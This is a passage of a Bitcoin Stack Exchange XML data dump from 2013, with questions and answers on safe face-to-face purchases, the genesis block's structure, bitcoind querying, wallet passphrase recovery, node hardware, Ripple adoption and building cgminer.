ContentLicense="CC BY-SA 3.0" />
  <row Id="13114" PostTypeId="2" ParentId="12820" CreationDate="2013-09-04T08:47:21.120" Score="5" Body="&lt;p&gt;If all bitcoin nodes run the Satoshi client then they are all affected by the same bugs. So other implementations of the protocol will certainly help in this regard. Imagine that the Satoshi client was affected by a bug that when a certain date is reached or a certain event occurs, it somehow causes the blockchain data to be corrupted or even deleted. The bitcoin network could even grind to a halt. This is quite an extreme case but it's just to give you the idea.&#xA;If alternative implementations were widely used, only part of the network would go down.&#xA;All implementations only have to agree on the bitcoin protocol, so they would still be vulnerable to bugs in the bitcoin protocol itself, but there are hardly any bugs in it, and even those could be fixed by changing or extending the protocol.&#xA;There are some known bugs in the bitcoin protocol, like for example its inability to handle dates bigger than 2106, but it's not considered a serious problem and by the time that date approaches a solution will probably be found.&lt;/p&gt;&#xA;" OwnerUserId="6633" LastActivityDate="2013-09-04T08:47:21.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13115" PostTypeId="2" ParentId="545" CreationDate="2013-09-04T09:24:49.530" Score="0" Body="&lt;p&gt;I think the best way to implement this, without modifying the original bitcoin client, is running a separate server that constantly listens to billing requests sent through HTTP. The said server authenticates the requests and talks to bitcoin client to send the payment to destination address. I'm not sure yet if that can be totally secured and if someone has worked on it or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, that additional server can be run on a local computer along with the bitcoin client so that users can broadcast &quot;debit addresses&quot; on their own, from their own computers, without relying on any hosted third party service.&lt;/p&gt;&#xA;" OwnerUserId="6635" LastActivityDate="2013-09-04T09:24:49.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13117" PostTypeId="1" AcceptedAnswerId="13120" CreationDate="2013-09-04T12:21:40.247" Score="7" ViewCount="8100" Body="&lt;p&gt;I've made a contact via LocalBitcoins.com and am going to buy some coins with cash. The seller is not verified, but as we will meet, it sounds ok:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I show him the cash.&lt;/li&gt;&#xA;&lt;li&gt;He transfers the Bitcoins.&lt;/li&gt;&#xA;&lt;li&gt;We wait one block.&lt;/li&gt;&#xA;&lt;li&gt;I give him the cash.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is this safe enough or is there anything I should take care of? Any scams known?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He requested to use my mobile internet, though (will enable Wi-Fi hotspot on the smartphone).&lt;/p&gt;&#xA;" OwnerUserId="2324" LastEditorUserId="37414" LastEditDate="2019-12-20T16:57:38.553" LastActivityDate="2019-12-20T16:57:38.553" Title="How do I buy Bitcoins safely face-to-face?" Tags="|trading|buy-bitcoins|otc|localbitcoins|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13118" PostTypeId="2" ParentId="13117" CreationDate="2013-09-04T12:35:47.623" Score="5" Body="&lt;p&gt;LocalBitcoins.com features a transaction service which guarantees that bitcoins have arrived to your LocalBitcoins.com wallet.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You get a secret code when the bitcoin seller enables transaction service (escrow enabled) on the trade&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When the bitcoin seller releases the transaction the seller gets SMS with the your secret code&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ask the seller and if he/she knows your secret code from his/her SMS it is safe to hand over the cash as you know bitcoins are then in your LocalBitcoins.com wallet   &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now you can transfer bitcoins from LocalBitcoins.com wallet to any wallet you wish&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/faq#howto_transaction&quot; rel=&quot;noreferrer&quot;&gt;https://localbitcoins.com/faq#howto_transaction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes when somebody has suggested a deal where there the payment is 50% now and 50% later, it is a sign of potential scam.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2013-09-04T12:35:47.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13119" PostTypeId="1" CreationDate="2013-09-04T13:29:01.583" Score="4" ViewCount="1204" Body="&lt;p&gt;Is there a library which provides all the same address/transaction querying information as blockchain.info, depending only on having a bitcoind synchronised database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of queries which bitcoind cannot answer. For example, bitcoind only indexes transactions which are unspent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize blockchain.info has a public API, but it isn't an option for us to use this. I doubt they'd want us to spider the entire blockchain over their API anyway.&lt;/p&gt;&#xA;" OwnerUserId="6606" LastActivityDate="2015-12-21T17:54:02.620" Title="&quot;offline&quot; blockchain querying library" Tags="|blockchain|bitcoind|blockchain.info|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13120" PostTypeId="2" ParentId="13117" CreationDate="2013-09-04T13:31:57.867" Score="12" Body="&lt;p&gt;Shamelessly summarized from this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=137272.0&quot;&gt;extensive guide on local transactions&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You want to meet in a sufficiently &lt;strong&gt;public location&lt;/strong&gt;, such as a pub or mall, preferably one that has an open wifi.&lt;/li&gt;&#xA;&lt;li&gt;If you have agreed on &lt;strong&gt;terms&lt;/strong&gt; in beforehand, print out what you agreed upon and take it with you.&lt;/li&gt;&#xA;&lt;li&gt;If you have not agreed on terms yet, be sure to &lt;strong&gt;check the current price&lt;/strong&gt; of bitcoin during the meeting.&lt;/li&gt;&#xA;&lt;li&gt;Wait for the transaction to complete and &lt;strong&gt;check if the right amount&lt;/strong&gt; was paid. If the other person is willing to wait around for one additional block together that is a good sign.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Specify your expectations&lt;/strong&gt; in advance: When and where to meet, what each person will have on hand to make the deal, how the price for the bitcoins will be calculated.&lt;/li&gt;&#xA;&lt;li&gt;Consider taking a &lt;strong&gt;second person&lt;/strong&gt; along for additional safety.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-11-04T09:06:18.720" LastActivityDate="2013-11-04T09:06:18.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13122" PostTypeId="1" AcceptedAnswerId="13123" CreationDate="2013-09-04T13:41:21.703" Score="7" ViewCount="4344" Body="&lt;p&gt;From original bitcoin c++ source code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Genesis Block:&#xA;        // CBlock(hash=000000000019d6, ver=1, hashPrevBlock=00000000000000, hashMerkleRoot=4a5e1e, nTime=1231006505, nBits=1d00ffff, nNonce=2083236893, vtx=1)&#xA;        //   CTransaction(hash=4a5e1e, ver=1, vin.size=1, vout.size=1, nLockTime=0)&#xA;        //     CTxIn(COutPoint(000000, -1), coinbase 04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73)&#xA;        //     CTxOut(nValue=50.00000000, scriptPubKey=0x5F1DF16B2B704C8A578D0B)&#xA;        //   vMerkleTree: 4a5e1e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;txNew.vin[0].scriptSig = CScript() &amp;lt;&amp;lt; 486604799 &amp;lt;&amp;lt; CBigNum(4) &amp;lt;&amp;lt; vector&amp;lt;unsigned char&amp;gt;((const unsigned char*)pszTimestamp, (const unsigned char*)pszTimestamp + strlen(pszTimestamp));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We could see that scriptSig is: 04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's see closer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;04&lt;/em&gt; - ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;ffff001d&lt;/em&gt; - 486604799 aka 0x1d00ffff &lt;/p&gt;&#xA;&#xA;&lt;p&gt;010445 - ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73 - The Times 03/Jan/2009 Chancellor on brink of second bailout for banks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand what are 04 and 010445. How can I get them?&#xA;At wiki page of Genesis Block (&lt;a href=&quot;https://en.bitcoin.it/wiki/Genesis_block&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Genesis_block&lt;/a&gt;) in ScriptSig line there is nothting about 010445.&lt;/p&gt;&#xA;" OwnerUserId="6627" LastEditorUserId="5406" LastEditDate="2015-01-12T22:45:14.867" LastActivityDate="2022-12-15T17:56:00.130" Title="ScriptSig (coinbase) structure of the Genesis Block" Tags="|coinbase-transaction|" AnswerCount="3" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13123" PostTypeId="2" ParentId="13122" CreationDate="2013-09-04T15:05:03.590" Score="13" Body="&lt;p&gt;Here is a breakdown of the entire genesis block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000 - version&#xA;0000000000000000000000000000000000000000000000000000000000000000 - prev block&#xA;3BA3EDFD7A7B12B27AC72C3E67768F617FC81BC3888A51323A9FB8AA4B1E5E4A - merkle root&#xA;29AB5F49 - timestamp&#xA;FFFF001D - bits&#xA;1DAC2B7C - nonce&#xA;01 - number of transactions&#xA;01000000 - version&#xA;01 - input&#xA;0000000000000000000000000000000000000000000000000000000000000000FFFFFFFF - prev output&#xA;4D - script length&#xA;04FFFF001D0104455468652054696D65732030332F4A616E2F32303039204368616E63656C6C6F72206F6E206272696E6B206F66207365636F6E64206261696C6F757420666F722062616E6B73 - scriptsig&#xA;FFFFFFFF - sequence&#xA;01 - outputs&#xA;00F2052A01000000 - 50 BTC&#xA;43 - pk_script length&#xA;4104678AFDB0FE5548271967F1A67130B7105CD6A828E03909A67962E0EA1F61DEB649F6BC3F4CEF38C4F35504E51EC112DE5C384DF7BA0B8D578A4C702B6BF11D5FAC - pk_script&#xA;00000000 - lock time&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Decoding the &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot;&gt;ScriptSig&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04 - push the next 4 bytes to stack&#xA;FFFF001D - 4 bytes pushed, they appear to be the same as bits&#xA;01 - push the next 1 byte to stack&#xA;04 - 1 byte pushed&#xA;45 - push the next 69 bytes to stack&#xA;5468652054696D65732030332F4A616E2F32303039204368616E63656C6C6F72206F6E206272696E6B206F66207365636F6E64206261696C6F757420666F722062616E6B73 - pushed bytes, &quot;The Times 03/Jan/2009 Chancellor on brink of second bailout for banks&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So 010445 are in fact part of 2 operations - 01 pushes 04 to the stack, 45 pushes the message to the stack. As to why push 04, beats me, maybe it was just testing to make sure something works? Some internal counter used by Satoshi during Genesis block creation? Since the script of a coin generation transaction is really meaningless, we might never know.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2013-09-04T16:17:02.947" LastActivityDate="2013-09-04T16:17:02.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13125" PostTypeId="2" ParentId="13119" CreationDate="2013-09-04T17:59:54.240" Score="-1" Body="&lt;p&gt;Apparently, you can force bitcoind to index spent transactions. More information &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11875/how-to-access-any-transaction-detail-in-bitcoin-version-0-8-and-above&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-09-04T17:59:54.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13126" PostTypeId="2" ParentId="13081" CreationDate="2013-09-04T18:03:06.130" Score="0" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11875/how-to-access-any-transaction-detail-in-bitcoin-version-0-8-and-above&quot;&gt;this thread&lt;/a&gt; bitcoind does provide an interface to access the information you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-09-04T18:03:06.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13127" PostTypeId="1" CreationDate="2013-09-04T18:34:55.557" Score="0" ViewCount="245" Body="&lt;p&gt;Im currently trying to estimate the frequency of incoming market orders to MtGox order book.&#xA;Assume the following buy limit orders:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BID 2@150&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BID 3@149&lt;/p&gt;&#xA;&#xA;&lt;p&gt;against which ONE market order to sell 5 btc is submitted. The transactions would be recorded for instance as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trade_ID   Unix_date   Price   Amount   Type   Properties&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1          123456789   150     2        sell   market&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2          123456789   149     3        sell   market&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key problem is that despite there was just one incoming order, it is recorded in two rows because it was matched against two outstanding limir orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) If both trades have same TRADE_ID, it is possible to group the transactions. Does it really work that way? Do trades resulting from one order but matched against more orders same Trade_ID?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Grouping according to unix time stamp. I assume that these two transactions would have same time stamp? If yes, is is possible that any other market order arrives just at the same microsecond as the one above? Or is the microsecond so small time interval that it is not possible for two orders to have same unix time stamp?&lt;/p&gt;&#xA;" OwnerUserId="5964" LastActivityDate="2013-09-04T18:34:55.557" Title="Frequency of MtGox market orders" Tags="|mtgox|trading|raw-data|live-data|exchange-order|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13128" PostTypeId="1" CreationDate="2013-09-04T20:41:14.400" Score="0" ViewCount="143" Body="&lt;p&gt;From code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; // Create coinbase tx&#xA; CTransaction txNew;&#xA; txNew.vin.resize(1);&#xA; txNew.vin[0].prevout.SetNull();&#xA; txNew.vout.resize(1);&#xA; CPubKey pubkey;&#xA; if (!reservekey.GetReservedKey(pubkey))&#xA;     return NULL;&#xA; txNew.vout[0].scriptPubKey &amp;lt;&amp;lt; pubkey &amp;lt;&amp;lt; OP_CHECKSIG;&#xA;&#xA; // Add our coinbase tx as first transaction&#xA; pblock-&amp;gt;vtx.push_back(txNew);&#xA; pblocktemplate-&amp;gt;vTxFees.push_back(-1); // updated at end&#xA; pblocktemplate-&amp;gt;vTxSigOps.push_back(-1); // updated at end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How I can connect mined blocks with various addresses in base58? Not only with miner address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want send part of mined value to one address (developer fund), different of miner address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;add vtx[1]?&#xA;Only check it in connectblock and createnewblock functions?&lt;/p&gt;&#xA;" OwnerUserId="3728" LastEditorUserId="120" LastEditDate="2013-09-06T13:46:39.403" LastActivityDate="2014-04-04T21:44:29.670" Title="Connect mined blocks with various addresses" Tags="|alternatives|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13129" PostTypeId="1" CreationDate="2013-09-05T01:15:34.473" Score="0" ViewCount="325" Body="&lt;p&gt;Why do people who have been in the financial industry for a long time seem to always talk negatively about it?  Does it threaten their livelihood or do they just not know enough and so they speak negatively about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking at the quotes from financial experts about bitcoin and almost all of them were fairly negative, but also almost all of their titles were more traditional financial-type jobs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.tradingacademy.com/resources/financial-education-center/financial-professionals-share-their-opinions-on-bitcoin.aspx&quot; rel=&quot;nofollow&quot;&gt;http://www.tradingacademy.com/resources/financial-education-center/financial-professionals-share-their-opinions-on-bitcoin.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why I understand all the hate from this group.&lt;/p&gt;&#xA;" OwnerUserId="6639" LastActivityDate="2019-07-04T06:43:45.677" Title="Why do &quot;financial experts&quot; hate Bitcoin?" Tags="|finance|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13130" PostTypeId="1" CreationDate="2013-09-05T01:58:06.063" Score="2" ViewCount="1460" Body="&lt;p&gt;I have a wallet for the bitcoin qt wallet but I accidentally deleted the only copy of my encryption passphrase... I have read about something called brute force but I'm not entirely sure on how its code is used. Can anyone help me please!? I am desperate to recover my bc!&lt;/p&gt;&#xA;" OwnerUserId="6640" LastActivityDate="2014-01-20T10:09:19.990" Title="Is there anyway I can recover my passphrase?" Tags="|wallet|bitcoin-core|encryption|passphrase|hacking|" AnswerCount="2" CommentCount="0" ClosedDate="2014-01-20T21:56:00.123" ContentLicense="CC BY-SA 3.0" />
  <row Id="13131" PostTypeId="2" ParentId="13130" CreationDate="2013-09-05T05:36:48.103" Score="1" Body="&lt;p&gt;It's rather implausible unless you remember a good deal of the password already, or you are certain that it followed a particular pattern. Even on a good processor you might only be able to try 10 variations a second, which is uselessly slow for anything in the password cracking world. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It needs to be strong, the encryption is designed keep your coins safe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much is at stake? Recovering them might not even be worth the time expenditure. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-09-05T05:36:48.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13132" PostTypeId="2" ParentId="13105" CreationDate="2013-09-05T10:23:40.480" Score="1" Body="&lt;p&gt;The best way is to generate wallet off-line.&lt;/p&gt;&#xA;&lt;p&gt;The secure of your storage is the same as secure of your off-line machine. You may aware off TEMPEST only, of course if only nobody can get access to your off-line machine.&lt;/p&gt;&#xA;&lt;p&gt;You can use for this &lt;a href=&quot;https://en.bitcoin.it/wiki/Vanitygen&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vanitygen&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can download vanitygen &lt;a href=&quot;https://github.com/samr7/vanitygen&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Send your bitcoins to address that you generate on off-line machine, and keep private key of this address safe.&lt;/p&gt;&#xA;&#xA;" OwnerUserId="6489" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-09-05T10:34:01.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13134" PostTypeId="2" ParentId="7529" CreationDate="2013-09-05T11:02:17.890" Score="3" Body="&lt;p&gt;I had the same issue and created an implementation here: &lt;a href=&quot;https://github.com/johannbarbie/BitcoindClient4J&quot; rel=&quot;nofollow&quot;&gt;https://github.com/johannbarbie/BitcoindClient4J&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6643" LastActivityDate="2013-09-05T11:02:17.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13135" PostTypeId="2" ParentId="13129" CreationDate="2013-09-05T11:07:14.963" Score="1" Body="&lt;p&gt;Financial experts do not hate Bitcoin. Some might hate Bitcoin -for several reasons including a conflict of interest as you suggested, but not all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are countless financial experts in the world including founders and investors in Bitcoin based businesses. Just do some more in depth research and you'll find them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at that page you provided the link to. My suggestions is don't take the Expert label for granted. Take a look at who these people actually are. Be vary of anyone who expresses a very strict opinion about something they don't necessarily understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw evidence of both non-expertise and outright ignorance on that page.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-09-05T11:07:14.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13137" PostTypeId="2" ParentId="11986" CreationDate="2013-09-05T13:36:48.870" Score="2" Body="&lt;p&gt;You can use any computer that fulfils the minimal requirements:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Most important is sufficient storage for the blockchain (currently ~9.5GB), you probably want a multiple of that for some peace of mind.&lt;/li&gt;&#xA;&lt;li&gt;The computing power necessary to just run a (non-mining) client is insignificant, any computing device available on the market today should do. If it isn't particularly powerful the initial sync might take longer, but after that the effect is neglible.&lt;/li&gt;&#xA;&lt;li&gt;Internet connection with sufficient bandwith to keep up with the network.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;An old computer or &lt;strong&gt;Raspberry Pi&lt;/strong&gt; would be sufficient, whereas the Raspberry Pi will probably have a much better energy efficiency and thus should end up being cheaper in the long run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A comment above suggested that a virtual private server might be even cheaper, however, if you want to store any significant amounts of money on your bitcoin client, you might be more comfortable to do so on hardware that you have complete control over.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-09-05T13:36:48.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13142" PostTypeId="1" AcceptedAnswerId="13147" CreationDate="2013-09-05T21:20:09.290" Score="1" ViewCount="371" Body="&lt;p&gt;Now, I have been reading a lot about Ripple lately and here is something that still eludes me: For example Bitcoin has a clear early adopter advantage, which incentivices investments and helps build up a critical mass of people until the network effect sets in. Additionally, the Bitcoin system is designed to reward collaboration towards stability (mining rewards).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple seems to have some problems here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It is hard to make out an early adopter advantage for users, except perhaps scoring a few Ripples to spend for free. After spending that money, there seems little advantage for users to stick around.&lt;/li&gt;&#xA;&lt;li&gt;There seems to be mostly a first mover advantage for businesses (see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7679/does-ripple-give-an-advantage-to-early-adopters&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7567/what-benefit-or-incentive-is-there-for-someone-to-run-their-own-ripple-client-or&quot;&gt;2&lt;/a&gt;). However, for most businesses this should be a chicken-egg problem, without customers there is no interest to implement, without usage opportunities there is no interest for customers.&lt;/li&gt;&#xA;&lt;li&gt;There is no strong incentive to do what is good for the network: While inactive users in the bitcoin network don't matter, should users in Ripple lose interest, their outstanding IOUs lose worth. So, not only do I have to trust that somebody is good for their money, but also that he will stay interested.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My question then is: How is Ripple supposed to attract enough interest to build a user base that propagates a network effect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7679/does-ripple-give-an-advantage-to-early-adopters&quot;&gt;1 : Does Ripple give an advantage to early adopters?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7567/what-benefit-or-incentive-is-there-for-someone-to-run-their-own-ripple-client-or&quot;&gt;2 : What benefit or incentive is there for someone to run their own ripple client or ripple server?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-09-06T01:25:30.927" Title="What could drive Ripple adoption?" Tags="|ripple|adoption|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-24T21:21:42.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="13143" PostTypeId="2" ParentId="13128" CreationDate="2013-09-05T21:23:14.873" Score="1" Body="&lt;p&gt;This isn't a complete answer but I might be able to point you in the right direction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CBlockTemplate* CreateNewBlock(const CScript&amp;amp; scriptPubKeyIn)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you're taking a &lt;a href=&quot;https://dev.visucore.com/bitcoin/doxygen/script_8h.html&quot; rel=&quot;nofollow&quot;&gt;CScript&lt;/a&gt;  as a parameter. Some additional relevant links.  I think you would either use that to create multiple outputs, or you would use    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;txNew.vout[1];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions#general_format_.28inside_a_block.29_of_each_output_of_a_transaction_-_Txout&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transactions#general_format_.28inside_a_block.29_of_each_output_of_a_transaction_-_Txout&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Script&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://dev.visucore.com/bitcoin/doxygen/script_8cpp.html&quot; rel=&quot;nofollow&quot;&gt;https://dev.visucore.com/bitcoin/doxygen/script_8cpp.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://dev.visucore.com/bitcoin/doxygen/class_c_transaction.html&quot; rel=&quot;nofollow&quot;&gt;https://dev.visucore.com/bitcoin/doxygen/class_c_transaction.html&lt;/a&gt;&#xA;(and follow the links to CTxIn/CTxOut from there&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also see how they do it here:&#xA; - &lt;a href=&quot;https://dev.visucore.com/bitcoin/doxygen/miner__tests_8cpp_source.html&quot; rel=&quot;nofollow&quot;&gt;https://dev.visucore.com/bitcoin/doxygen/miner__tests_8cpp_source.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6321" LastEditorUserId="6321" LastEditDate="2013-09-06T16:08:56.187" LastActivityDate="2013-09-06T16:08:56.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13144" PostTypeId="2" ParentId="7282" CreationDate="2013-09-05T21:27:26.820" Score="3" Body="&lt;p&gt;I understand the initial logic to put the bitcoind &amp;amp; wallets onto a separate server, but think about it...  if your webserver becomes compromised, then it doesn't matter where your bitcoind is.. it is also compromised.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example; Bitcoind is on server A,  webserver is on server B. &#xA;webserver B sends requests -&gt; to bitcoind server A . . replies -&gt; back to webserver A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, if I compromise your websever B, I can tell it to send a message back to the bitcoind server saying sendtoaddress [myhackeraddress] and that's it. Funds gone. &lt;/p&gt;&#xA;" OwnerUserId="4725" LastActivityDate="2013-09-05T21:27:26.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13145" PostTypeId="2" ParentId="11829" CreationDate="2013-09-05T22:05:04.277" Score="2" Body="&lt;p&gt;I am now using cgminer 3.4.2 (Ubuntu 12.04LTS) as it is much more stable than bfgminer and all the bugs in cgminer have been worked out (it also supports hot plugging)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way is to compile cgminer from git direct. There is some dependency on usbdev1 that needs to be compiled into cgminer.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install the dependencies using apt-get (including all the build stuff)&lt;/li&gt;&#xA;&lt;li&gt;Make a direcotry somewhere and go into it&lt;/li&gt;&#xA;&lt;li&gt;git clone git://github.com/ckolivas/cgminer.git&lt;/li&gt;&#xA;&lt;li&gt;cd into the cgminer directory&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;./autogen.sh --enable-bflsc --enable-icarus --disable-opencl&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;CFLAGS=&quot;-O2 -Wall -march=native&quot; ./configure --enable-bflsc --enable-icarus --disable- opencl&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;make -j8&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;cgminer&lt;/code&gt; from that directory, without any options. (except the mining 